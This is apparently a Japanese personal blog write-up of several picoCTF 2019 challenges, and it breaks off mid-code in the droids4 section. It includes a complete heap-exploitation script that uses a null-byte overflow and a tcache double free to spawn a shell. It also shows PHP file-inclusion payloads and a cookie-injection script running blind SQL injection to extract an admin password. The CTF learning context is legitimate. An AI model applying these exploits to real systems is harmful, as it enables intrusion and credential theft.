これは知らなかった。新しいやつだ。NULL byte overflowというらしい。ほか、NULL byte poisoningとも言うようだ。
去年のBinary問題全部解いたので、手が出せるかなーと思ってたけど、さっぱりだった\(*T▽T*)/ 逆に競技期間中は早々に撤退して正解だったということか。

The libc version is 2.27 which implies the use of tcache with very little security checks. All protections are enabled, implying a heap only exploit.

というのがパッと見わかるようになると強いんだろうなぁ。tcacheについてはこちらに情報まとめておきました

その他、ざっと見た調査で以下のことがわかる(らしい)。

  1. ページは最大20ページ。すなわちchunkは20個まで作成できる。
  2. まず、create関数に書いてある、作成できるサイズの制約に注目してみる。
    one sideに書く場合は size < 0xf1 (241), both sidesに書く場合は、size > 0x10f(271) && size < 0x1e1(481)で、LAB_WRITE_ONE_SIDEの処理、すなわち malloc 処理に飛べる。変な制約である。
  3. talk()関数から呼ばれているreadInput()関数に、NULL byte overflowがある。
  4. freeされているかに関わらず、どのchunkもprintして見ることが出来る(listen()関数)ので、これをlibc leakの出力に使えそう。
void readInput(long targetAddr, uint maxSize) {
  ...(略)
    *(undefined *)(targetAddr + (ulong)index) = 0;

このコードが Null byte overflow。

tcache

glibc 2.26 (ubuntu 17.10) 以降のテクニック。glibc2.26自体は、2017/8/2にリリースされた。heap管理のパフォーマンス向上のために導入されたが、多くのセキュリティチェックをしていないため、新しい攻撃手法がたくさん見つかっている。最新のglibcでは修正されているとのこと。

tcacheの特徴、良く使われる攻撃手法はこちらに。

Null byte overflow

Null byte overflow, Null byte poisoning でググってみたが、日本語のサイトはヒットしなかった。唯一ヒットした http://pwn.hatenadiary.jp はあの1件以来閉じられてしまった、"怖いから閉じちゃお"のコメントだけ残された例のサイトだ…。残念。

Heap Exploitation: Off-By-One / Poison Null Byte – devel0pment.de

このページがめちゃめちゃわかりやすかった。stack-basedとheap-basedのexploitの違いも丁寧に解説してくれている。わしにはheapはまだ早かったんじゃよ…という気持ちになりつつ、めげずに読む。基礎的な部分も解説を挟んでくれてとても優しい。読みやすい…🥺 まずはこれを読んで glibc leak までをしっかり理解してから挑みます。

exploit

今回は、kusanoさんのwriteupの写経になってしまいましたが、なんとか最後まで理解できたかな、というとこまで行けたので、コードにコメントを突っ込みまくる形でwriteupとさせていただきます…。オリジナルのwritupはこちら

picoCTFのshell serverで実行するんですけど、python2系でしたね…。

$ python --version
Python 2.7.17
$ pip freeze | grep pwntools
pwntools==3.12.2

幸いpwntoolsが入っているので、python2系でpwntoolsを使って解くスクリプトを組みます。

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# reference: https://qiita.com/kusano_k/items/0e9d29ee9f6bda614a1d#ghost_diary---points-500---solves-68---binary-exploitation

from pwn import *

e = ELF('./ghostdiary')
context.binary = e
p = process('./ghostdiary')

def create(size):
    print('start create')
    p.sendline('1')
    """
    1. Write on one side?  # only use one side mode.
    2. Write on both sides?
    """
    if size <= 0xf0:
        p.sendlineafter('> ', '1')
    else:
        p.sendlineafter('> ', '2')
    p.sendlineafter('size: ', str(size))
    idx = int(p.recv().split('\n')[0].split('#')[1].strip())
    print('idx: ' + str(idx))
    return idx

def talk(idx, content):  # edit
    print('start talk')
    p.sendline('2')
    p.sendlineafter('Page: ', str(idx))
    p.sendlineafter('Content: ', content)
    return

def listen(idx):  # show
    print('start listen')
    p.sendline('3')
    p.sendlineafter('Page: ', str(idx))
    content = p.recv().split('\n')[0][9:]
    print(content + '\n')
    return content

def burn(idx):  # free
    print('start burn')
    p.sendline('4')
    p.sendlineafter('Page: ', str(idx))
    return

### main ###

# 1. NullByteOverflowを使って、libcのアドレスをリークする (Libc-Leak)
# 2. DoubleFreeからのfree_hookを使って、systemをcallする (Control Instruction Pointer)

# サイズ0x100のtchacheを使い切る
# 0x100のtcacheを使いたいが、0x100のサイズはghost diaryの仕様上取れない
# ので、A,Bの2つの領域を利用し、AのNullByteOverflowを使ってBの領域(size, in_use)を上書き
for i in range(7):
    A = create(0x18)
    B = create(0x118)
    talk(A, 'A'*0x10 + pack(0x20))
    """
    0x0000000000000000  0x0000000000000019  A
    0x0000000000000000  0x0000000000000000 
    0x0000000000000000  0x0000000000000119  B
    0x0000000000000000  0x0000000000000000
    ...
    これが、Null byte overflow のおかげで
    0x0000000000000000  0x0000000000000019  A
    0x4141414141414141  0x4141414141414141
    0x0000000000000020  0x0000000000000100  B
    0x0000000000000000  0x0000000000000000
    ...
    こうなる。
    Bのinuse_bitは0x0に、サイズは0x100になる。
    """
    burn(B)
    """
    0x100サイズのtcacheに追加
    """

# 今度は0x120のtcacheを使い切る その1 (mallocのみ)
T = []
for i in range(7):
    T += [create(0x118)]

# tcacheを埋める前に、攻撃に使用する領域を確保
A = create(0x118)
B = create(0x18)
C = create(0x118)
X = create(0x18)

# 今度は0x120のtcacheを使い切る その2 (free)
for t in T:
    burn(t)


# Aをfreeすると、Aの先頭領域にFD, BKが書かれる
burn(A)
"""
0x0000000000000000  0x0000000000000119  A
0x000000XXXXXX(FD)  0x000000XXXXXX(BK)
...
0x0000000000000000  0x0000000000000000
0x0000000000000000  0x0000000000000019  B
0x0000000000000000  0x0000000000000000 
"""

# Cのサイズを0x121から0x100に、NullByteOverflowを利用して書き換え
talk(B, 'A'*0x10 + pack(0x140))
"""
0x0000000000000000  0x0000000000000019  B
0x0000000000000000  0x0000000000000000 
0x0000000000000000  0x0000000000000119  C
0x0000000000000000  0x0000000000000000
...
これが、Null byte overflow のおかげで
0x0000000000000000  0x0000000000000019  B
0x4141414141414141  0x4141414141414141
0x0000000000000140  0x0000000000000100  C
0x0000000000000000  0x0000000000000000
...
こうする。
Cのinuse_bitは0x0に、サイズは0x100になる。
"""

# Cを分割し、サイズ0x100の領域(C) + 0x20(その次)の2個のチャンクと同等な状態にする
# すると、分割後の上の領域からC(上),B,Aの領域が、大きな一つのfreed chunkと認識される
talk(C, 'a'*0xf8 + pack(0x21))
burn(C)
"""
0x0000000000000140  0x0000000000000100  C
0x0000000000000000  0x0000000000000000  0x00  - 0x10
...
0x0000000000000000  0x0000000000000000  0xf8  - 0x100
0x0000000000000000  0x0000000000000000  0x100 - 0x110
0x0000000000000000                      0x118 (本来ここまでで一つのC)

これを

0x0000000000000140  0x0000000000000100  C
0x4141414141414141  0x4141414141414141  0x00  - 0x10
...
0x4141414141414141  0x0000000000000021  0xf8  - 0x100 (ここまでが0x100のchunk)
0x0000000000000000  0x0000000000000000  0x100 - 0x110
0x0000000000000000                      0x110 - 0x118 (ここまででもう一つの0x20のin-use cunk)

こうする
"""

# サイズ0x120のtcacheを空にする
for i in range(7):
    create(0x118)

# 再び0x118サイズのchunkをmallocすることで、FD,BKが、Bだった領域に移動
A = create(0x118)
"""
0x0000000000000000  0x0000000000000119  A
0x0000000000000000  0x0000000000000000
...
0x0000000000000000  0x0000000000000000
0x0000000000000000  0x0000000000000019  B
0x000000XXXXXX(FD)  0x000000XXXXXX(BK)
"""

# Bのポインタはそのまま生きているので、listenして中身を取得
unsort = listen(B)
print unsort
unsort = unpack(unsort.ljust(8, '\0'))
print 'unsort: %x'%unsort

# libc_baseとの差分を考慮して、libc_baseアドレスを計算
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
libc.address = unsort - (0x3ebc40+0x60)
print 'libc: %x'%libc.address


# ここから、DoubleFreeを利用して、freeをsystemでhook, free時にsystemを発火させる
# Bと同じサイズの領域を確保すると、上記でfreeリストの戦闘に入っているBと同じアドレスが返却される
B2 = create(0x18)  # B2 = B
# double free
burn(B)
burn(B2)
"""
この状態で、freeのlink listは下記のようになる。
[free link]
B2 -> B -> B2 -> B -> ... (B2 = B のため)
"""

# tcacheからの取り外しを利用して、__free_hookにsystemを代入
# __free_hookについては https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html 参照。
B = create(0x18)
talk(B, pack(libc.symbols.__free_hook))
"""
user area に書き込みをしたが、まだ同じ領域がfree link listに残っているので、free chunkとしても使える
free chunk としてのBは、上記の talk 後に *FD = __free_hook に置き換わる
[free link]
B -> __free_hook
"""
# free list 消費
B = create(0x18)
"""
[free link]
__free_hook
"""
# freeをhookしてsystemに書き換え
B = create(0x18)  # ここで取った領域が __free_hook の領域
talk(B, pack(libc.symbols.system))

# 次にfreeしたときに上記の仕掛けが発動する
B = create(0x18)
talk(B, '/bin/sh')
burn(B)
# free を system で hook したので、下記のburnの中でfreeの代わりにsystemが呼ばれ、引数が'/bin/sh'
# すなわち system('/bin/sh')がcallされる

p.interactive()

picoCTFのshell serverの自分のhome~/にはファイルを作成可能なので、この場所にソルバを配置。指定されたディレクト/problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcbから、下記のように実行します。

$ python ~/solve.py

実行結果

[*] '/problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb/ghostdiary'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './ghostdiary': pid 4150638
start create
...(略)...
libc: 7f3097491000
...(略)...
[*] Switching to interactive mode
$ ls
flag.txt  ghostdiary  ghostdiary.c
$ cat flag.txt
picoCTF{nu11_byt3_Gh05T_41a29ece}

٩(๑❛ᴗ❛๑)尸
最終的にここでshell取った後、ソースコードも確認できる。
tcacheが導入されたのが2017年8月以降、ということはかなり最近のUpdate。ついていくのは大変だなぁ。

[Reversing] Time's Up, For the Last Time! (500pt)

You've solved things fast. You've solved things faster! Now do the impossible. times-up-one-last-time, located in the directory at /problems/time-s-up--for-the-last-time-_0_6e1c5a9779c6efc2929c35b40e1d9bb9.

Hints

Some times, if some approach seems impossible, it means a different perspective might be needed. Is there anything interesting about how the program behaves?

Time's Up の最終問題。一つ前のTime's Up, Again! でさえ、だいぶ力技で無理やり解いた感じなので、もう無理…。という気持ち。

実行してみます。

$ ./times-up-one-last-time 
Challenge: (((((-1802092232) r (640223861)) | ((-1311414522) + (-642068867))) / (((2013104559) % (511012683)) t ((-281788312) t (1227506528)))) o ((((331348176) | (-426266050)) f ((1030130632) o (-565669168))) x (((385918776) f (154499740)) & ((-1957063074) x (-805592857)))))
Setting alarm...
Solution? Alarm clock

これまでの問題と形式は全く一緒…。ん?tとかrとか入ってるぞ…何だ?

ghidraでdecompileしてもらいます。まずはmainのみ。※関数。変数名は付け直し済、コメント追加済。

undefined8 main(void) {
  load_urandom();
  printf("Challenge: ");
  make_random_answer();  // fill data_answer
  putchar(10);
  fflush(stdout);
  puts("Setting alarm...");
  fflush(stdout);
  ualarm(10,0);
  printf("Solution? ");
  __isoc99_scanf(&DAT_001011b8, &data_input);
  if (data_input == data_answer) {
    puts("Congrats! Here is the flag!");
    system("/bin/cat flag.txt");
  }
  else {
    puts("Nope!");
  }
  return 0;
}

ということで、make_random_answer()関数で生成した答えとユーザー入力があっていればflagを表示してくれるようです。otなどの処理を探るべく、更に詳細のdecompile結果を見てみます。
結構長いですが、culc()関数に上記の答えがありました。基本的にランダムに値・オペレーターを生成して再帰的に数式を生成しているようです。o,t, etc... は独自オペレーターのようです。

void load_urandom(void) {
  time_t tVar1;
  
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  data_urandom = fopen("/dev/urandom","r");
  return;
}

void make_random_answer(void) {
  data_answer = _make_random_answer(4);
  return;
}

long _make_random_answer(uint num) {
  char operator;
  int iVar2;
  uint num1;
  uint num2;
  long result;
  undefined8 param1;
  undefined8 param2;
  
  if (num == 0) {
    data = read_urandom();
    result = (long)data;
    printf("(%lld)",(long)result);
  }
  else {
    num1 = random_decrease((ulong)num);  // 0~4
    num2 = random_decrease((ulong)num);  // 0~4
    operator = make_random_operator();
    putchar(0x28);  // (
    param1 = _make_random_answer((ulong)num1);
    printf(" %c ",(ulong)(uint)(int)operator);
    param2 = _make_random_answer((ulong)num2);
    putchar(0x29);  // )
    result = culc((ulong)(uint)(int)operator,param1,param2);
  }
  return result;
}

ulong random_decrease(uint num) {
  // 引数を一定確率で1ひいて返す
  int val;
  val = rand();
  if (0 < val % 0x32) {
    num = num - 1;
  }
  return (ulong)num;
}

ulong make_random_operator(void) {
  int random;
  undefined16 list_operators;

  list_operators = hex("&|^%/*-+rtxfo")
  random = rand();

  return (ulong)*(byte *)((long)&list_operators + (ulong)(long)random % 0xd);
}

ulong culc(undefined operator, ulong param1, ulong param2) {
  switch(operator) {
  case 0x25:  // %
    if (param2 != 0) {
      param1 = (long)param1 % param2;
    }
    break;
  case 0x26:  // &
    param1 = param1 & param2;
    break;
  default:
    exit(1);
  case 0x2a:  // *
    param1 = param1 * param2;
    break;
  case 0x2b:  // +
    param1 = param2 + param1;
    break;
  case 0x2d:  // -
    param1 = param1 - param2;
    break;
  case 0x2f:  // /
    if (param2 != 0) {
      param1 = (long)param1 / (long)param2;
    }
    break;
  case 0x5e:  // ^
    param1 = param1 ^ param2;
    break;
  case 0x66:  // f
    break;
  case 0x6f:  // o
    param1 = param2;
    break;
  case 0x72:  // r
    param1 = param2;
    break;
  case 0x74:  // t
    break;
  case 0x78:  // x
    param1 = param2;
    break;
  case 0x7c:  // |
    param1 = param1 | param2;
  }
  return param1;
}

undefined8 read_urandom(void) {
  undefined8 buff;
  fread(&buff, 8, 1, data_urandom);
  return buff;
}

これで、数式に対する答えを計算するソルバは作れそう。

次に、このシリーズの問題の最大の関心どころであるタイマーの設定を見てみます。

ualarm(10,0);  // 10マイクロ秒

最初の問題から、5000 -> 200 -> 10 と、もうむっちゃ短くなっています…。これは根本的にやり方を変えないとダメそう。
もしソルバを書いたとしても、計算して出力するまでを10マイクロ秒以内に出来る気がしない…。

ここで、ヒントをもう一度見返してみます。

Some times, if some approach seems impossible, it means a different perspective might be needed. Is there anything interesting about how the program behaves?

different perspective might be needed. フム…。
やっぱりここは速さ勝負ではなく、最初の問題 Time's Up で取ろうとしたアプローチ、アラームを切る・無効化する事を考えたほうが良さそう。

radare2はpicoCTFのserverにはinstallされておらず。objdump, gdbでシグナルを切って試してみるも、permission denied. でflag.txtが読めませんでした。これ以上のシグナルを切るやり方が分からなかったので、下記のwriteupを参考に、cでシグナルを無視してプロセスを立ち上げるプログラムを作る方法を試しました。

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
/* reference */
/* https://github.com/AMACB/picoCTF-2019-writeups/blob/master/problems/times-up-for-the-last-time/README.md */

int main() {
    signal(SIGALRM, SIG_IGN);
    system("./times-up-one-last-time");
}

このcプログラムを、picoCTFのhomeディレクトリに作成します。

$ cd ~
$ vi stop_sig.c
(上記コード貼り付け)
$ gcc stop_sig.c -o stop_sig

ちなみに、問題のソルバは書こうと思ったのですが、面倒なのでアルファベットの演算子のみ手動で置き換えて、pythonのevalに投げて計算しました。

$ cd /problems/time-s-up--for-the-last-time-_0_6e1c5a9779c6efc2929c35b40e1d9bb9
$ ~/stop_sig 
Challenge: (((((-99509026) - (1731675797)) * ((-684291702) t ((1086017244) o (18822725)))) - ((((-136998396) r (1230855129)) x ((-434847125) r (2105068334))) t ((-1354918200) & (-296842297)))) - ((((-932055871) % (-85752728)) + ((-612173569) x (-1924591031))) + (((666883582) / (1482560764)) r ((-1301461968) / (-474187145)))))
Setting alarm...
Solution? 1253064579101290032
Congrats! Here is the flag!
picoCTF{And now you can hack time! #0f00cb4e}

[Web] cereal hacker 2 (500pt)

Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195

今回もヒントなしです。指定のリンクに飛んでみると、cereal hacker 1 と同じ見た目のサイトに。
1と同じようにguestユーザーでサインインしようとしますが、今回はできません。
そもそも今回の目的は、adminのパスワードをGETすることのようです。

色々いじってみます。
さっきのadmin用cookieを使ってadminページにアクセスしてみましたが、今回はだめみたいです。not admin!といわれてしまいました。
次に、そう言えばクエリのところにもある意味脆弱性があったよな、と思い、クエリにfile=flag.txtを入れてアクセスしてみます。

前の問題ではこうだったのが

f:id:kusuwada:20200228145600p:plain

今回の問題ではこうなりました。

f:id:kusuwada:20200228145639p:plain

なにやら内部処理が変わっている予感です。試しに?file=index.phpにアクセスしてみると、blankページですが確かに応答がありました。

f:id:kusuwada:20200228145703p:plain

他にも、admin.php, regular_user, login.php が見つかりました(手作業)
しかし、どのページもblankページで何も表示されません。ググっていると、こんなのが見つかりました。

MeePwn CTF 1st 2017 の write-up - st98 の日記帳 [Web 500] TooManyCrypto
今回もこの問題のように、LFI(Local File Inclusion)攻撃が使えるかもしれません。

awesome-security-trivia/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.md at master · qazbnm456/awesome-security-trivia · GitHub

こちらも実際の攻撃パターンが載っていて勉強になります。このあたりを参考にして、下記のurlを生成してそれぞれのコードを取得します。まずは index.php

http://2019shell1.picoctf.com:62195/index.php?file=php://filter/convert.base64-encode/resource=index

見えにくいですが、こんなページが返ってきました。やったー!

f:id:kusuwada:20200228145826p:plain

この文字列をbase64 decodeしてやります。

index

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
}
else{
    header('location: index.php?file=login');
    die();
}

if(realpath($file)){
    die();
}
else{
    include('head.php');
    if(!include($file.'.php')){
        echo 'Unable to locate '.$file.'.php';
    }
    include('foot.php');
}

?>

おお!めでたくphpのソースが入手できました!同様にして、他のソースも入手します。

admin.php

<?php

require_once('cookie.php');

if(isset($perm) && $perm->is_admin()){
?>
    
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Welcome to the admin page!</h5>
                            <h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

<?php
}
else{
?>
    
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">You are not admin!</h5>
                            <form action="index.php" method="get">
                                <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

<?php
}
?>

regular_user

<?php
require_once('cookie.php');

if(isset($perm)){
?>
    
<body>
    <div class="container">
        <div class="row">
            <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                <div class="card card-signin my-5">
                    <div class="card-body">
                        <h5 class="card-title text-center">Welcome to the regular user page!</h5>
                        <form action="index.php" method="get">
                            <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

</body>


<?php
}
else{
?>
    
<body>
    <div class="container">
        <div class="row">
            <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                <div class="card card-signin my-5">
                    <div class="card-body">
                        <h5 class="card-title text-center">You are not logged in!</h5>
                        <form action="index.php" method="get">
                            <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>

</body>


<?php
}
?>

login

<?php

require_once('../sql_connect.php');
require_once('cookie.php');

if(isset($_POST['user']) && isset($_POST['pass'])){
    if(isset($_COOKIE['user_info'])){
        unset($_COOKIE['user_info']);
    }
    $u = $_POST['user'];
    $p = $_POST['pass'];

    if($sql_conn_login->connect_errno){
        die('Could not connect');
    }

    if (!($prepared = $sql_conn_login->prepare("SELECT username, admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
        die("SQL error");
    }

    $prepared->bind_param('ss', $u, $p);
    
    if (!$prepared->execute()) {
        die("SQL error");
    }
    
    if (!($result = $prepared->get_result())) {
        die("SQL error");
    }

    $r = $result->fetch_all();

    if($result->num_rows === 1){
        $perm = new permissions($u, $p);
        setcookie('user_info', urlencode(base64_encode(serialize($perm))), time() + (86400 * 30), "/");
        header('Location: index.php?file=login');
    }
    else{
        $error = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
    $sql_conn_login->close();
}
else if(isset($perm) && $perm->is_admin()){
    header('Location: index.php?file=admin');
    die();
}
else if(isset($perm)){
    header('Location: index.php?file=regular_user');
    die();
}

?>

    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Sign In</h5>
                            <?php if (isset($error)) echo $error;?>
                            <form class="form-signin" action="index.php?file=login" method="post">
                                <div class="form-label-group">
                                    <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
                                    <label for="user">Username</label>
                                </div>

                                <div class="form-label-group">
                                    <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
                                    <label for="pass">Password</label>
                                </div>

                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

ここで、indexに出てきたhead.php,foot.phpもとってきてみましたが、対して情報無かったので割愛。
同様に、他のページに出てきているcookie.phpも取ってきます。

cookie

<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
            die("SQL error");
        }

        $prepared->bind_param('ss', $this->username, $this->password);
    
        if (!$prepared->execute()) {
            die("SQL error");
        }
        
        if (!($result = $prepared->get_result())) {
            die("SQL error");
        }

        $r = $result->fetch_all();
        if($result->num_rows !== 1){
            $is_admin_val = 0;
        }
        else{
            $is_admin_val = (int)$r[0][0];
        }
        
        $sql_conn->close();
        return $is_admin_val;
    }
}

/* legacy login */
class siteuser
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        $result = $sql_conn->query($q);
        if($result->num_rows != 1){
            $is_user_val = 0;
        }
        else{
            $is_user_val = 1;
        }
        
        $sql_conn->close();
        return $is_user_val;
    }
}


if(isset($_COOKIE['user_info'])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
    }
    catch(Exception $except){
        die('Deserialization error.');
    }
}

?>

気になるコメントが。

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie / legacy login /

どうやらcookieの中に全部必要な情報を埋めちゃえ!ってことのようです。

最後に、../sql_connectも取得できたので取ってきておきます。

../sql_connect

<?php


$sql_server = 'localhost';
$sql_user = 'mysql';
$sql_pass = 'this1sAR@nd0mP@s5w0rD#%';
$sql_conn = new mysqli($sql_server, $sql_user, $sql_pass);
$sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass);


?>

ムムム…。パスワードっぽいの出てきたと思ったけど、sqlmysqlユーザのだ。そんなに甘くなかった。

さて、ソースを眺めると、今回はadminユーザーでないとログインできないようです。

前回同様 cookie に入れた username, password を使って SQL Injection ができそうなので、これを使って条件にはまるクエリを組み立てていきます。
adminページを攻撃クエリのあるcookieで表示させると、刺さった時はadminとして、だめだった場合はadmin以外としてのレスポンスが返ってきます。この応答の違いを利用して、一文字ずつパスワードを求めていく Blind SQL Injection が使えそうです。

ちなみに、ここまで考えたけどadmin認定されるcookieが作れず、またpicoCTFのGameの方でさらなるヒントを貰いに行ってみたところ、

Abuse the legacy object to bypass the prepared statement. Use a script to perform a blind SQL injection.

あああああ!今これ考えてたところーー!!!ってなった。HackerToken 500pt 損した!!

ということで、刺さるクエリ探し中。

…なかなかadmin認定されない…。ムムム…。

競技期間中の手記はここで途絶えている。

ほんとにこんなにメモしながらやってるの?と言われそうだけど、なんと全部メモしてた。ぶつぶつ言いながらCTFしてる。この手記を書いてから丸2ヶ月経ったわけだけど、読み返すまで全く覚えていなかった。こんな事してたねぇ。

おちついて、もう一度cookie.phpを読んでみます。classが2つpermissionssiteuserがあり、cookieにはpermissionsの方を読むように指定して送っています。permissionsの新しいSQLクエリでは、プリペアドステートメントが使われているため、SQL injectionがしにくくなっています。siteuserのクエリには SQL injection の余地がありそうなので、こちらを読むように指定してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64
import urllib.parse
import requests

url = "http://2019shell1.picoctf.com:62195/index.php?file=admin"

def rewrite_param(username, password):
    param = b"""O:8:"siteuser":2:{s:8:"username";s:""" + \
                   str(len(username)).encode() + b':"' + username + \
                   b"""";s:8:"password";s:""" + \
                   str(len(password)).encode() + b':"' + password + \
                   b"""";}"""
    return param

attack_param = rewrite_param(b"admin", b"' OR 'a'='a")  # 最後に'が付く
print(attack_param)
attack_cookie = urllib.parse.quote(urllib.parse.quote(base64.b64encode(attack_param)))
print(attack_cookie)

cookies = {'user_info': attack_cookie}
res = requests.get(url, cookies=cookies)
print('HTTP StatusCode: ' + str(res.status_code))
if res.status_code != 500:
    if 'You are not admin!' in res.text:
        print('!!!!NOT ADMIN!!!!')
    else:
        print(res.text)

実行結果

$ python test.py 
b'O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"\' or \'a\'=\'a";}'
Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnYSc9J2EiO30%253D
HTTP StatusCode: 200
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>   
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Welcome to the admin page!</h5>
                            <h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

</html>

おお!adminとして入れました!これで blind injection できそう!SUBSTR関数を用いて、先頭から一文字ずつ確認していきます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64
import urllib.parse
import requests
import string

url = "http://2019shell1.picoctf.com:62195/index.php?file=admin"
candidates = """abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789!$-.<=>?@_"""

def rewrite_param(username, password):
    param = b"""O:8:"siteuser":2:{s:8:"username";s:""" + \
                   str(len(username)).encode() + b':"' + username + \
                   b"""";s:8:"password";s:""" + \
                   str(len(password)).encode() + b':"' + password + \
                   b"""";}"""
    return param

if __name__ == '__main__':
    flag = b''
    while b'}' not in flag:
        for c in candidates:
            try_pass = flag + c.encode()
            attack_param = rewrite_param(b"admin", b"' OR SUBSTR(password,1," \
                           + str(len(try_pass)).encode() + b")='"+ try_pass)
            #print(attack_param)
            attack_cookie = urllib.parse.quote(urllib.parse.quote(base64.b64encode(attack_param)))
            
            cookies = {'user_info': attack_cookie}
            res = requests.get(url, cookies=cookies)
            if res.status_code != 500:
                if 'Welcome to the admin page!' in res.text:
                    flag += c.encode()
                    print(flag)
                    break
                else:
                    print('*', end='')
    print(b'flag: ' + flag)

実行結果

$ python test.py 
***************b'p'
********b'pi'
**b'pic'
**************b'pico'
**b'picoc'
*******************b'picoct'
(中略)
*b'picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb'
*************************************************************b'picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb7'
*****************************************************b'picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb7}'
b'flag: picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb7}'

結構長かった!picoctfpicoCTFに変換。
競技中は、cookieに使用する関数を指定しているところがあるのに気づかなかった。勉強になりました。

[Reversing] droids4 (500pt)

reverse the pass, patch the file, get the flag. Check out this file. You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.

これまでと同様、four.apkが配布されます。てっきりthreeでおしまいだと思ってましたが、まだ続いていました、このシリーズ。

いつものようにAndroidStudioで開いて、four > java > com.hellocmu > picoctf > FlagstaffHill を覗いてみます。長い!

droids2同様、javaコードを抽出してもらいました。

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 

package com.hellocmu.picoctf;

import android.content.Context;

public class FlagstaffHill
{

    public FlagstaffHill()
    {
    }

    public static native String cardamom(String s);

    public static String getFlag(String s, Context context)
    {
        context = new StringBuilder("aaa");
        StringBuilder stringbuilder = new StringBuilder("aaa");
        StringBuilder stringbuilder1 = new StringBuilder("aaa");
        StringBuilder stringbuilder2 = new StringBuilder("aaa");
